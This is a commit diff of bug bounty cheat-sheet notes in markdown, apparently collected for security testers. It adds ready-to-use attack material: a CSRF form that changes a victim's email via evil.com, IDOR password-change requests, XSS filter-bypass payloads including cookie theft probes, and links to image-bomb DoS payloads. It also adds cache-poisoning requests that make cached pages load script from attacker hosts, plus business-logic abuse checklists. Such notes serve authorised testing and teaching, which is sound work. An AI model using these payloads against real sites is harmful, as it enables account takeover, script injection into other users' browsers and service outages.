STRLCPY/AllAboutBugBounty

Major update
MD15 committed 3 years ago

90979cdb

1 parent e5fe7019

■ ■ ■ ■ ■ ■

Account Takeover.md

		skipped 17 lines
18	18		[...]
19	19		[email protected]&password=hacked
20	20		```
	21	+	Source: [Link](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
	22	+
	23	+	3. via CSRF
	24	+	- Create an account as an attacker and fill all the form, check your info in the Account Detail.
	25	+	- Change the email and capture the request, then created a CSRF Exploit.
	26	+	- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
	27	+
	28	+	```html
	29	+	<html>
	30	+	<body>
	31	+	<form action="https://evil.com/user/change-email" method="POST">
	32	+	<input type="hidden" value="[email protected]"/>
	33	+	<input type="submit" value="Submit Request">
	34	+	</form>
	35	+	</body>
	36	+	</html>
	37	+	```
	38	+	Source: [Link](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
	39	+
	40	+	4. Chaining with IDOR, for example
	41	+	```
	42	+	POST /changepassword.php
	43	+	Host: site.com
	44	+	[...]
	45	+	userid=500&password=heked123
	46	+	```
	47	+	500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
	48	+
	49	+	5. No Rate Limit on 2FA

■ ■ ■ ■ ■ ■

Business Logic Errors.md

1	+	# Business Logic Errors
2	+	1. Review Functionality
3	+	- Some applications have an option where verified reviews are marked with some tick or it's mentioned. Try to see if you can post a review as a Verified Reviewer without purchasing that product.
4	+	- Some app provides you with an option to provide a rating on a scale of 1 to 5, try to go beyond/below the scale-like provide 0 or 6 or -ve.
5	+	- Try to see if the same user can post multiple ratings for a product. This is an interesting endpoint to check for Race Conditions.
6	+	- Try to see if the file upload field is allowing any exts, it's often observed that the devs miss out on implementing protections on such endpoints.
7	+	- Try to post reviews like some other users.
8	+	- Try performing CSRF on this functionality, often is not protected by tokens
9	+
10	+	2. Coupon Code Functionality
11	+	- Apply the same code more than once to see if the coupon code is reusable.
12	+	- If the coupon code is uniquely usable, try testing for Race Condition on this function by using the same code for two accounts at a parallel time.
13	+	- Try Mass Assignment or HTTP Parameter Pollution to see if you can add multiple coupon codes while the application only accepts one code from the Client Side.
14	+	- Try performing attacks that are caused by missing input sanitization such as XSS, SQLi, etc. on this field
15	+	- Try adding discount codes on the products which are not covered under discounted items by tampering with the request on the server-side.
16	+
17	+	3. Delivery Charges Abuse
18	+	- Try tampering with the delivery charge rates to -ve values to see if the final amount can be reduced.
19	+	- Try checking for the free delivery by tampering with the params.
20	+
21	+	4. Currency Arbitrage
22	+	- Pay in 1 currency say USD and try to get a refund in EUR. Due to the diff in conversion rates, it might be possible to gain more amount.
23	+
24	+	5. Premium Feature Abuse
25	+	- Try forcefully browsing the areas or some particular endpoints which come under premium accounts.
26	+	- Pay for a premium feature and cancel your subscription. If you get a refund but the feature is still usable, it's a monetary impact issue.
27	+	- Some applications use true-false request/response values to validate if a user is having access to premium features or not.
28	+	- Try using Burp's Match & Replace to see if you can replace these values whenever you browse the app & access the premium features.
29	+	- Always check cookies or local storage to see if any variable is checking if the user should have access to premium features or not.
30	+
31	+	6. Refund Feature Abuse
32	+	- Purchase a product (usually some subscription) and ask for a refund to see if the feature is still accessible.
33	+	- Try for currency arbitrage explained yesterday.
34	+	- Try making multiple requests for subscription cancellation (race conditions) to see if you can get multiple refunds.
35	+
36	+	7. Cart/Wishlist Abuse
37	+	- Add a product in negative quantity with other products in positive quantity to balance the amount.
38	+	- Add a product in more than the available quantity.
39	+	- Try to see when you add a product to your wishlist and move it to a cart if it is possible to move it to some other user's cart or delete it from there.
40	+
41	+	8. Thread Comment Functionality
42	+	- Unlimited Comments on a thread
43	+	- Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.
44	+	- Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.
45	+	- Try posting comments impersonating some other users.
46	+
47	+	9. Parameter Tampering
48	+	- Tamper Payment or Critical Fields to manipulate their values
49	+	- Add multiple fields or unexpected fields by abusing HTTP Parameter Pollution & Mass Assignment
50	+	- Response Manipulation to bypass certain restrictions such as 2FA Bypass
51	+
52	+	10. App Implementation Logic Abuse
53	+	- If an app accepts JSON data, try changing content type to XML and see if the XML data is being processed, it can be left vulnerable to XXE or XML-based attacks.
54	+	- If an application is using the DELETE method to delete a resource but there is no CSRF protection, try converting the method to GET/POST and add an additional parameter like ?method=delete
55	+	- In the above case if any user ID is going in the request, try bypassing method-based restrictions by adding parameters like X-Method-Override.
56	+	- If you see a UUID, try to replace with similar mapping such as 1,2,3.. often UUID mapping is accepted by the applications.
57	+	- Try the HEAD method to bypass the authentication restrictions.
58	+
59	+	11. Denial of Service Situations
60	+	- Resource Exhaustion
61	+	- Weak Account Lockout Mechanisms
62	+	- Kicking out a user/banning a user somehow from accessing the application.
63	+	- Application Level DoS by abusing the various functionalities present within the application.
64	+
65	+	Source: [@harshbothra_](https://twitter.com/harshbothra_)

■ ■ ■ ■ ■ ■

Bypass/Bypass 403.md

		skipped 50 lines
51	51		http://target.com/aDmIN
52	52		```
53	53
	54	+	6. Via Web Cache Poisoning
	55	+	```
	56	+	GET /anything HTTP/1.1
	57	+	Host: victim.com
	58	+	X-Original-URL: /admin
	59	+	```
	60	+
54	61		Source: [@iam_j0ker](https://twitter.com/iam_j0ker)
55	62

■ ■ ■ ■ ■ ■ ■

Cross Site Scripting.md

		skipped 36 lines
37	37		<!-- --><script>alert(1)</script> -->
38	38		```
39	39
40		-	4. Add </tag> when the input inside or between opening/closing tags, tag can be <a>,<title,<script> and any other HTML tags
	40	+	4. Add </tag> when the input inside or between opening/closing tags, tag can be ```<a>,<title>,<script>``` and any other HTML tags
41	41
42	42		```html
43	43		</tag><script>alert(1)</script>
		skipped 26 lines
70	70		<input id="keyword" type="text" name="q" value="" onmouseover=alert(1)">
71	71		```
72	72
73		-	6. Use </script> when input inside <script> tags
	73	+	6. Use </script> when input inside ```<script>``` tags
74	74		```html
75	75		</script><script>alert(1)</script>
76	76		```
		skipped 194 lines
271	271		<a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script>
272	272		```
273	273		> Add a "-->" to payload if input lands in a comment section
	274	+
274	275		> Add a "]]>" if input lands in a CDATA section
275	276
	277	+	# XSS Cheat Sheet (Bypass)
	278	+	19. Mixed Case
	279	+	```html
	280	+	<Script>alert(document.cookie)</Script>
	281	+	```
	282	+
	283	+	20. Unclosed Tags
	284	+	```html
	285	+	<svg onload="alert(1)"
	286	+	```
	287	+
	288	+	21. Uppercase Payloads
	289	+	```html
	290	+	<SVG ONLOAD=ALERT(1)>
	291	+	```
	292	+
	293	+	22. Encoded XSS
	294	+	```html
	295	+	(Encoded)
	296	+	%3Csvg%20onload%3Dalert(1)%3E
	297	+
	298	+	(Double Encoded)
	299	+	%253Csvg%2520onload%253Dalert%281%29%253E
	300	+
	301	+	(Triple Encoded)
	302	+	%25253Csvg%252520onload%25253Dalert%25281%2529%25253E
	303	+	```
	304	+
	305	+	23. JS Lowercased Input
	306	+	```html
	307	+	<SCRİPT>alert(1)</SCRİPT>
	308	+	```
	309	+
	310	+	24. PHP Email Validation Bypass
	311	+	```html
	312	+	<svg/onload=alert(1)>"@gmail.com
	313	+	```
	314	+
	315	+	25. PHP URL Validation Bypass
	316	+	```html
	317	+	javascript://%250Aalert(1)
	318	+	```
	319	+
	320	+	26. Inside Comments Bypass
	321	+	```html
	322	+	<!--><svg onload=alert(1)-->
	323	+	```

■ ■ ■ ■ ■ ■ ■

Denial Of Service.md

		skipped 31 lines
32	32
33	33		Download the payload: [Here](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/000/000/128/5f5a974e5f67ab7a11d2d92bd40f8997969f2f17/lottapixel.jpg?response-content-disposition=attachment%3B%20filename%3D%22lottapixel.jpg%22%3B%20filename%2A%3DUTF-8%27%27lottapixel.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQYFO7EZHL%2F20200910%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20200910T110133Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEFIaCXVzLXdlc3QtMiJGMEQCIGgY3dUtffr4V%2BoxTJaFxc%2F7qjRodT3XLyN1ZLEF8%2FhfAiAXklx1Zvy3iKIGm1bocpDUP1cTx46eTbsDOKqRC93fgyq0AwhbEAEaDDAxMzYxOTI3NDg0OSIMH9s8JiCh%2B%2FNADeibKpEDocuqfbmxkM5H5iKsA3K4RuwcxVT9ORLJrjJO%2FILAm%2BcNsQXTgId%2Bpw1KOLkbFKrq0BQIC6459JtfWqHPXvDC7ZJGboQ%2FXE0F%2BAZQa6jaEyldrkKuDewNy5jy3VX1gquS%2BWrGl%2BGhwmXB4cg1jgOugGUsC%2FxD%2BcragIJAtGA7lp3YdcL%2FiQbnvuzmLP8w%2FyCHPUrpOw94bPOk8fpetOJoLmDfXZdL3hLGBEUGS7dSOoyebLSXGZDctkSpnXCq383lWYWYn0LSv1ooVvuCVzgxE%2BZi4b4QvLjjMG3FJdEX%2BDYmnDvnSrRoDtyj8bD3cP3xbZ3jaNYRbIlQTm2zR1DgoaDGE74FmpZWHcyC8zK0V6AKG6OzkcIaGRnGdDNSpZkN0DrWE7uY6BLiIGY16rflYOaElnbxijoMNDsU3MZH8gGk7crYJ%2FCeHeayInPBDgiREBgn7orAIjOY3xg8vzwKO96a90LmkK7wk977TbKfLIng1iNP9EMKYDjGePdBYDML9zBeqhO5LrVH%2BfbwzG5GXi0w5fnn%2BgU67AFRBwMChVRr%2FLW4j0PqpXUeN5ysVIuagoqSwqOhfwI9rtk56zTuGhO3du4raY5SOQ9vSkRdYHhga%2BW7oQTByD1ISiSaOjHs1s%2FrNfvIfMA8r0drPSykOdCuV2A5NhBpEPpT%2BuOosogdPihcORhO3hbcQJ9y4uxBsaBSJr%2F8S2CGjwZw7SOGmNaNFsPu%2BMRbYDA%2FH2eUMBl96w6KpUuNAXEPUcfq3weRMP1vXW62S4OyniYJ6DEVRkkE4eFZMUqy4c94uwSAegK54Po0V0sPM%2FncTESCgBf7Qe2zZlPhdRGZR%2F25cF6JTH0t2VIRQw%3D%3D&X-Amz-Signature=a837cb6b26bf437fa5008695310a21788918081c36e745d286c5cba9fd4a78e0)
34	34
35		-	References: [Hackerone #390] (https://hackerone.com/reports/390)
	35	+	References: [Hackerone #390](https://hackerone.com/reports/390)
36	36
37	37		5. Frame flood, using GIF with a huge frame
38	38
39	39		Download the payload: [Here](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/000/000/136/902000ac102f14a36a4d83ed9b5c293017b77fc7/uber.gif?response-content-disposition=attachment%3B%20filename%3D%22uber.gif%22%3B%20filename%2A%3DUTF-8%27%27uber.gif&response-content-type=image%2Fgif&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQ245MJJPA%2F20200910%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20200910T110848Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEFMaCXVzLXdlc3QtMiJHMEUCIEC768ifpRHeEUucuNuVL%2FdcSsWMnGeNp%2FMhKs6afB01AiEAiZOP%2FwMaeQMITUni3aFcACIOqOHnWHgLKuXHRrb5LooqtAMIXBABGgwwMTM2MTkyNzQ4NDkiDHHy9PJ2ccl9cmsvyCqRA6bliBHBMPXR6NYflM%2BCXCCQ5VLdPCATpmLs9DhVuYsjxR3JUtVHnBvtfEYYWDWWsLoC3xuzmug5ycrAvqK%2BTYDYO7l4HD1rXfyEBkR579ZlUFab6bOL4i8nDqblun%2FeV253Sgd6GzL4E%2FXmUN%2FC6qNydSd9hp2fLoyNjqob6o5zJjmnqvZsq50ROOZwf1idkDtr163qeVZERnan7aY9rM%2FsX4iVdE4wY0rLw1maGRuDF2aLVCxPB681htsHt%2FpoZ18QY7LjcbNjbjB4PgXLd1sm5zQ4q9mPVxTZPvzo9BJCh7l6kMLHCtJXOXfrvvN8UBgIqr1KXvodzv7FRQYcvEpfw4pwCTWzBs8VeEcwS9gjOXFMNLNI8SZ9V76VQ5KrOIpKhzM9UQQN3DVzY3SwMHydX%2B%2BYcQTt%2FjvqTkorsltqob2g5E1K0U8btRLBvBqOo0Vbr75zLcLUUomDBQzSNSvJgTN43huYmkZxBpWAAId72Tt6m56aFQLXkCKGSoMxYjrrVW9jc37pVl3lZU7FIX0AMIuN6PoFOusBpDCrjFwR1Y7t7W8wLapYjI6yOkkvWTFwWvx38jZl9okqo5xchKolmKxKX7cfGPIyuUmSXc1xa0nKwYeOYlhQZfyI0NobqyWW81ITuuUjsBxULuqrXqfVl0PTjTTpqe%2FHvU6wYSE358XfggtcqaH9PPgNDOejgv%2FLnh9AH9nyqIWuaCu865IfAOupVVzFzQilyB2LDyQtTS4Kp5dHyEAibRQlqeKHWOkUE2mQefAaTxKLRKrs0mJQYSuC%2B4LQEB3Cq9Nhj5HN%2BYT7A7CDLrvyChyfYXQZYr0lR1jN91Yd7SBe2jB1Qls%2Bx%2FEUlQ%3D%3D&X-Amz-Signature=910a3812cf3b69f6fa72f39a89a6df2f395f8d17ef8702eeb164a0477c64fff5)
40	40
41		-	References: [Hackerone #400] (https://hackerone.com/reports/400)
	41	+	References: [Hackerone #400](https://hackerone.com/reports/400)
42	42
43		-	Rare cases
44		-	1. Sometimes in website we found a parameter that can adjust the size of the image, for example
	43	+	6. Sometimes in website we found a parameter that can adjust the size of the image, for example
45	44		```
46	45		https://target.com/img/vulnerable.jpg?width=500&height=500
47	46		```
		skipped 4 lines
52	51
53	52		References: [Hackerone #751904](https://hackerone.com/reports/751904)
54	53
55		-	2. Try changing the value of the header with something new, for example:
	54	+	7. Try changing the value of the header with something new, for example:
56	55		```
57	56		Accept-Encoding: gzip, gzip, deflate, br, br
58	57		```
59	58
60	59		References: [Hackerone #861170](https://hackerone.com/reports/861170)
61	60
62		-	3. Sometimes if you try bug "No rate limit", after a long try it. The server will go down because there is so much requests
	61	+	8. Sometimes if you try bug "No rate limit", after a long try it. The server will go down because there is so much requests
63	62
64	63		References: [Hackerone #892615](https://hackerone.com/reports/892615)
65	64
	65	+	9. ReDoS (Regex DoS) occurs due to poorly implemented RegEx
	66	+
	67	+	References: [Hackerone #511381](https://hackerone.com/reports/511381)
	68	+
	69	+	10. CPDoS ([Cache Poisoned Denial of Service](https://cpdos.org/))
	70	+	- HTTP Header Oversize (HHO)
	71	+
	72	+	A malicious client sends an HTTP GET request including a header larger than the size supported by the origin server but smaller than the size supported by the cache
	73	+	```
	74	+	GET /index.html HTTP/1.1
	75	+	Host: victim.com
	76	+	X-Oversized-Header-1: Big_Value
	77	+	```
	78	+	The response is
	79	+	```
	80	+	HTTP/1.1 400 Bad Request
	81	+	...
	82	+	Header size exceeded
	83	+	```
	84	+	- HTTP Meta Character (HMC)
	85	+
	86	+	this attack tries to bypass a cache with a request header containing a harmful meta character. Meta characters can be, e.g., control characters such as line break/carriage return (\n), line feed (\r) or bell (\a).
	87	+
	88	+	```
	89	+	GET /index.html HTTP /1.1
	90	+	Host: victim.com
	91	+	X-Meta-Malicious-Header: \r\n
	92	+	```
	93	+	The response is
	94	+	```
	95	+	HTTP/1.1 400 Bad Request
	96	+	...
	97	+	Character not allowed
	98	+	```
	99	+	- HTTP Method Override (HMO)
	100	+
	101	+	There are several headers present in HTTP Standard that allow modifying overriding the original HTTP header. Some of these headers are:
	102	+	```
	103	+	1. X-HTTP-Method-Override
	104	+	2. X-HTTP-Method
	105	+	3. X-Method-Override
	106	+	```
	107	+	The header instructs the application to override the HTTP method in request.
	108	+	```
	109	+	GET /index.php HTTP/1.1
	110	+	Host: victim.com
	111	+	X-HTTP-Method-Override: POST
	112	+	```
	113	+	The response is
	114	+	```
	115	+	HTTP/1.1 404 Not Found
	116	+	...
	117	+	POST on /index.php not foudn
	118	+	```
	119	+
	120	+	- X-Forwarded-Port
	121	+	```
	122	+	GET /index.php?dontpoisoneveryone=1 HTTP/1.1
	123	+	Host: www.hackerone.com
	124	+	X-Forwarded-Port: 123
	125	+	```
	126	+	- X-Forwarded-Host
	127	+	```
	128	+	GET /index.php?dontpoisoneveryone=1 HTTP/1.1
	129	+	Host: www.hackerone.com
	130	+	X-Forwarded-Host: www.hackerone.com:123
	131	+	```
	132	+
	133	+	![Response DoS](https://portswigger.net/cms/images/6f/83/45a1a9f841b9-article-screen_shot_2018-09-13_at_11.08.12.png)
	134	+
	135	+	References:
	136	+	- [Hackerone #409370](https://hackerone.com/reports/409370)
	137	+	- [CPDoS](https://cpdos.org/)

■ ■ ■ ■ ■ ■

Insecure Direct Object References.md

1	1		## IDOR (Insecure Direct Object Reference)
2		-
3		-	Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented. IDOR vulnerabilities are most commonly associated with horizontal privilege escalation, but they can also arise in relation to vertical privilege escalation.
4		-
5	2		1. Add parameters onto the endpoints for example, if there was
6	3		```html
7	4		GET /api/v1/getuser
		skipped 106 lines

■ ■ ■ ■ ■ ■

README.md

1	1		# All about bug bounty
	2	+	These are my bug bounty notes that I have gathered from various sources, you can contribute to this repository too!
2	3
3	4		## List
4	5		- [Account Takeover](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Account%20Takeover.md)
	6	+	- [Business Logic Errors](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Business%20Logic%20Errors.md)
5	7		- [Cross Site Scripting (XSS)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md)
6	8		- [Denial of Service (DoS)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Denial%20Of%20Service.md)
7	9		- [Exposed Source Code](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Denial%20Of%20Service.md)
8	10		- [Host Header Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Host%20Header%20Injection.md)
9	11		- [Insecure Direct Object References (IDOR)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md)
10	12		- [Password Reset Flaws](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Password%20Reset%20Flaws.md)
	13	+	- [Web Cache Poisoning](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md)
11	14
12	15		## List Bypass
13	16		- [Bypass 2FA](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%202FA.md)
		skipped 83 lines

■ ■ ■ ■ ■ ■

Web Cache Poisoning.md

1	+	# Web Cache Poisoning
2	+	1. Basic poisoning
3	+	```
4	+	GET / HTTP/1.1
5	+	Host: www.vuln.com
6	+	X-Forwarded-Host: evil.com
7	+	```
8	+	The response is
9	+	```
10	+	HTTP/1.1 200 OK
11	+	Cache-Control: public, no-cache
12	+	…
13	+	<img href="https://evil.com/a.png" />
14	+	```
15	+	> Or you can input XSS payloads
16	+	```
17	+	GET / HTTP/1.1
18	+	Host: www.vuln.com
19	+	X-Forwarded-Host: a.\"><script>alert(1)</script>
20	+	```
21	+	The response is
22	+	```
23	+	HTTP/1.1 200 OK
24	+	Cache-Control: public, no-cache
25	+	…
26	+	<img href="https://a.\"><script>alert(1)</script>a.png" />
27	+	```
28	+	2. Seizing the Cache
29	+	```
30	+	GET / HTTP/1.1
31	+	Host: unity3d.com
32	+	X-Host: evil.com
33	+	```
34	+	The response is
35	+	```
36	+	HTTP/1.1 200 OK
37	+	Via: 1.1 varnish-v4
38	+	Age: 174
39	+	Cache-Control: public, max-age=1800
40	+	…
41	+	<script src="https://evil.com/x.js">
42	+	</script>
43	+	```
44	+	3. Selective poisoning
45	+	```
46	+	GET / HTTP/1.1
47	+	Host: redacted.com
48	+	User-Agent: Mozilla/5.0 (<snip> Firefox/60.0)
49	+	X-Forwarded-Host: a"><iframe onload=alert(1)>
50	+	```
51	+	The response is
52	+	```
53	+	HTTP/1.1 200 OK
54	+	X-Served-By: cache-lhr6335-LHR
55	+	Vary: User-Agent, Accept-Encoding
56	+	…
57	+	<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
58	+	```
59	+	4. Chaining Unkeyed Inputs
60	+	- First step
61	+	```
62	+	GET /en HTTP/1.1
63	+	Host: redacted.net
64	+	X-Forwarded-Host: xyz
65	+	```
66	+	The response is
67	+	```
68	+	HTTP/1.1 200 OK
69	+	Set-Cookie: locale=en; domain=xyz
70	+	```
71	+	- Second step
72	+	```
73	+	GET /en HTTP/1.1
74	+	Host: redacted.net
75	+	X-Forwarded-Scheme: nothttps
76	+	```
77	+	The response is
78	+	```
79	+	HTTP/1.1 301 Moved Permanently
80	+	Location: https://redacted.net
81	+	```
82	+	- Third step
83	+	```
84	+	GET /en HTTP/1.1
85	+	Host: redacted.net
86	+	X-Forwarded-Host: attacker.com
87	+	X-Forwarded-Scheme: nothttps
88	+	```
89	+	The response is
90	+	```
91	+	HTTP/1.1 301 Moved Permanently
92	+	Location: https://attacker.com/en
93	+	```
94	+
95	+	5. Route Poisoning
96	+	```
97	+	GET / HTTP/1.1
98	+	Host: www.goodhire.com
99	+	X-Forwarded-Server: evil
100	+	```
101	+	The response is
102	+	```
103	+	HTTP/1.1 404 Not Found
104	+	CF-Cache-Status: MISS
105	+	...
106	+	<title>HubSpot - Page not found</title>
107	+	<p>The domain canary does not exist in our system.</p>
108	+	```
109	+	To exploit this, we
110	+	need to go to hubspot.com, register ourselves as a HubSpot client, place a payload on our HubSpot page, and
111	+	then finally trick HubSpot into serving this response on goodhire.com
112	+	```
113	+	GET / HTTP/1.1
114	+	Host: www.goodhire.com
115	+	X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
116	+	```
117	+	The response is
118	+	```
119	+	HTTP/1.1 200 OK
120	+	…
121	+	<script>alert(document.domain)</script>
122	+	```
123	+
124	+	6. Hidden Route Poisoning
125	+	```
126	+	GET / HTTP/1.1
127	+	Host: blog.cloudflare.com
128	+	X-Forwarded-Host: evil
129	+	```
130	+	The response is
131	+	```
132	+	HTTP/1.1 302 Found
133	+	Location: https://ghost.org/fail/
134	+	```
135	+	When a user first registers a blog with Ghost, it issues them with a unique subdomain under ghost.io. Once a
136	+	blog is up and running, the user can define an arbitrary custom domain like blog.cloudflare.com. If a user has
137	+	defined a custom domain, their ghost.io subdomain will simply redirect to it:
138	+	```
139	+	GET / HTTP/1.1
140	+	Host: blog.cloudflare.com
141	+	X-Forwarded-Host: noshandnibble.ghost.io
142	+	```
143	+	The response is
144	+	```
145	+	HTTP/1.1 302 Found
146	+	Location: http://noshandnibble.blog/
147	+	```

Major update